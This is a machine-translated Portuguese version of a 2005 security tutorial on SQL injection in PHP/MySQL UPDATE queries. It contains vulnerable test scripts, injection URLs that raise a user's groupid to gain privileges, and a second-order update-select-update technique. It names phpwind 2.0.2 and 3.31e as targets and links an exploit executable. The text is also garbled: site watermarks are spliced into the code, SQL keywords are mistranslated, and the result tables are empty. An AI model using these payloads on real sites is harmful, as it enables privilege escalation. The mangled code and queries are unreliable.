Autor deste artigo: SuperHei
Natureza do artigo: Data de lançamento original: 14/08/2005
1. Baixe o gerenciamento de rede do ambiente de teste dl.bitscn.com
SO: Windowsxp sp2
php:php 4.3.10
MySQL 4.1.9
Apache 1.3.33
2. Teste a estrutura do banco de dados
--database: `test`
--
-------------------------------------------------- --------
--
-- Estrutura da tabela `userinfo`
--Rede de gerenciamento de rede www_bitscn_com
CREATE TABLE `userinfo` (
`groudid` varchar (12) NÃO NULO padrão '1',
`user` varchar(12) NOT NULL padrão 'heige',
`pass` varchar (122) NÃO NULO padrão '123456'
) TYPE=MyISAM;Gerenciador de rede na página inicial u.bitsCN.com
-
-- Exporta os dados da tabela `userinfo`
--
INSERIR EM VALORES `userinfo` ('2', 'heige', '123456')
3. Modo de teste
1. A variável não contém '' ou "" China Network Management Alliance bitsCN.com
<?php
//test1.php Mod1
$nomeservidor = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "teste";
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Falha na conexão do banco de dados");China Network Management Forum bbs.bitsCN.com
$sql = "update userinfo set pass=$p where user='heige'";/ / <--$P não usa aspas simples
$resultado = mysql_db_query($nomebd, $sql);
$userinfo = mysql_fetch_array($result); Fórum de gerenciamento de rede da China bbs.bitsCN.com
echo "<p>Consulta SQL:$sql<p>";
?>
O script modifica apenas o passe de user='heige' Se groupid representa o nível de permissão do usuário, nosso objetivo é modificar o groupid construindo $p, então enviamos:
http://127.0.0.1/test1.php?p=123456,groudid=1
Consulta no mysql:
mysql> select * from userinfo;
+---------+-------+--------+
| usuário |
+---------+-------+--------+
|
+---------+-------+--------+
1 linha no conjunto (0,01 seg)
O grudid do usuário heige foi alterado de 2 para 1:)
Assim, podemos fazer com que a injeção sem '' ou "" atualização possa ser bem-sucedida. Este é o nosso modo 1.
2. Variáveis com '' ou ""
<?php
//test2.php
$nomeservidor = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "teste";
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Falha na conexão com o banco de dados");
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P usa aspas simples China Network Management Forum bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result); Fórum de gerenciamento de rede bbs_bitsCN_com
echo "<p>Consulta SQL:$sql<p>";
?>
Para fechar 'Construímos $ p deve ser 123456',groudid='2Submit: China Network Management Forum bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = No caso de on, 'torna-se', e a instrução enviada torna-se:
Consulta SQL: atualizar userinfo set pass='123456',groudid='1' onde user='heige'
consulta mysql:
mysql> selecione * em informações do usuário;
+---------+-------+--------------------+
| usuário |
+---------+-------+--------------------+
| 2 |
+---------+-------+--------------------+
1 linha no conjunto (0,00 seg) O gerenciamento de rede bitscn_com
groudid não foi modificado. E daí se a variável não for injetada quando for '' ou ""? Em vez disso, vamos dar uma olhada no modo 2:
<?php
//test3.php Mod2
$nomeservidor = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "teste";
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Falha na conexão com o banco de dados");
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P usa aspas simples network managerujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //Os dados de $p são gravados no banco de dados
$sql= "selecione a senha do userinfo onde user='heige'";
$resultado = mysql_db_query($nomebd, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //Envia a consulta de senha para $userinfo[0]
$sql ="update userinfo set pass='$userinfo[0]' where user='heige' ";
$resultado = mysql_db_query($nomebd, $sql);
mysql_fetch_array($result); //Atualizar $userinfo[0] novamente bitsCN.com
?>
Vamos testá-lo e enviá-lo para: gerenciamento de rede bitscn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
Retorne à consulta mysql: fórum de gerenciamento de rede bbs_bitsCN_com
mysql> select * from userinfo;
+---------+-------+--------+
| usuário |
+---------+-------+--------+
|
+---------+-------+--------+
1 linha em conjunto (0,00 seg)
HaHa~~ Grudid injetado e modificado com sucesso para 1. Este é o nosso modo 2. Uma breve descrição é a seguinte:
atualização -> seleção -> atualização
4. Modo real
Modo 1: Ausente
Modo 2:
Análise
de vulnerabilidade de escalonamento de privilégios do phpwind 2.0.2 e 3.31e
atualização (a variável de injeção profile.php é $proicon, a instrução de atualização é icon='$userdb[icon]')
↓
selecione (jop.php)
↓
updtate (jop.php) Fórum de gerenciamento de rede bbs_bitsCN_com
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. Agradecimentos
Agradecimentos especiais a amigos como saiy por suas discussões e ajuda. Obrigado!!